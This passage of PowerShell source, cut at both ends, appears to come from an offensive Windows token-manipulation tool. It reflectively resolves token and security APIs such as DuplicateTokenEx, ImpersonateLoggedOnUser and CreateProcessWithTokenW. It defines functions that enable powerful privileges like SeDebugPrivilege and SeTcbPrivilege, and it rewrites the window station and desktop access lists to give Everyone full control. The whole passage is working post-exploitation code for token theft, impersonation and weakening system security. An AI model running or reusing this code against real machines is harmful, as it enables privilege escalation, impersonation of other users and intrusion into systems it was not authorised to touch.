$TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null
$ACL = $TypeBuilder.CreateType()
#Struct ACE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null
$ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType()
#Struct TRUSTEE
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null
$TRUSTEE = $TypeBuilder.CreateType()
#Struct EXPLICIT_ACCESS
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null
$EXPLICIT_ACCESS = $TypeBuilder.CreateType()
###############################
###############################
#Win32Functions
###############################
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken
$OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
$OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate)
$GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation
$GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate)
$SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken
$SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool])
$SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
$ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser
$ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate)
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData
$LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
$LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate)
$CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW
$CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
$CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate)
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx
$DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
$DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate)
$LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
$LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
$LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
$LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer
$LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32])
$LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate)
$OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread
$OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate)
$OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW
$CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
$CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate)
$OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW
$OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr])
$OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate)
$OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA
$OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate)
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo
$GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32])
$GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate)
$SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo
$SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
$SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate)
$GetAceAddr = Get-ProcAddress advapi32.dll GetAce
$GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr])
$GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate)
$LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
$LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
$LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
$AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce
$AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool])
$AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate)
$CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid
$CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
$CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate)
$SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW
$SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
$SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate)
$LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree
$LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
$LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
$LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW
$LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
$LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate)
###############################
#Used to add 64bit memory addresses
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
#Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL
function Enable-SeAssignPrimaryTokenPrivilege
{
[IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq $false)
{
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
}
else
{
Throw ([ComponentModel.Win32Exception] $ErrorCode)
}
}
$CloseHandle.Invoke($ThreadHandle) | Out-Null
$LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
$LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
$LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
$Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
[UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
$LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
$LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
$LuidAndAttributes.Luid = $LuidObject
$LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges = $LuidAndAttributes
$Global:TokenPriv = $TokenPrivileges
$Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
$CloseHandle.Invoke($ThreadToken) | Out-Null
}
#Enable SeSecurityPrivilege, needed to query security information for desktop DACL
function Enable-Privilege
{
Param(
[Parameter()]
[ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
"SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
"SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
"SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
"SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
"SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
"SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
"SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
[String]
$Privilege
)
[IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq $false)
{
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
}
else
{
Throw ([ComponentModel.Win32Exception] $ErrorCode)
}
}
$CloseHandle.Invoke($ThreadHandle) | Out-Null
$LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
$LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
$LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
$Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
[UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
$LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
$LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
$LuidAndAttributes.Luid = $LuidObject
$LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges = $LuidAndAttributes
$Global:TokenPriv = $TokenPrivileges
Write-Verbose "Attempting to enable privilege: $Privilege"
$Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result -eq $false)
{
Throw (New-Object ComponentModel.Win32Exception)
}
$CloseHandle.Invoke($ThreadToken) | Out-Null
Write-Verbose "Enabled privilege: $Privilege"
}
#Change the ACL of the WindowStation and Desktop
function Set-DesktopACLs
{
Enable-Privilege -Privilege SeSecurityPrivilege
#Change the privilege for the current window station to allow full privilege for all users
$WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
$hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC)
if ($hWinsta -eq [IntPtr]::Zero)
{
Throw (New-Object ComponentModel.Win32Exception)
}
Set-DesktopACLToAllowEveryone -hObject $hWinsta
$CloseHandle.Invoke($hWinsta) | Out-Null
#Change the privilege for the current desktop to allow full privilege for all users
$hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC)
if ($hDesktop -eq [IntPtr]::Zero)
{
Throw (New-Object ComponentModel.Win32Exception)
}
Set-DesktopACLToAllowEveryone -hObject $hDesktop
$CloseHandle.Invoke($hDesktop) | Out-Null
}
function Set-DesktopACLToAllowEveryone
{
Param(
[IntPtr]$hObject
)
[IntPtr]$ppSidOwner = [IntPtr]::Zero
[IntPtr]$ppsidGroup = [IntPtr]::Zero
[IntPtr]$ppDacl = [IntPtr]::Zero
[IntPtr]$ppSacl = [IntPtr]::Zero
[IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero
#0x7 is window station, change for other types
$retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor)
if ($retVal -ne 0)
{
Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal"
}
if ($ppDacl -ne [IntPtr]::Zero)
{
$AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL)
#Add all users to acl
[UInt32]$RealSize = 2000
$pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize)
$Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize)
if (-not $Success)
{
Throw (New-Object ComponentModel.Win32Exception)
}
#For user "Everyone"
$TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE)
$TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize)
$TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr)
$TrusteeObj.pMultipleTrustee = [IntPtr]::Zero
$TrusteeObj.MultipleTrusteeOperation = 0
$TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID
$TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP
$TrusteeObj.ptstrName = $pAllUsersSid
#Give full permission
$ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS)
$ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize)
$ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr)
$ExplicitAccess.grfAccessPermissions = 0xf03ff
$ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS
$ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE
$ExplicitAccess.Trustee = $TrusteeObj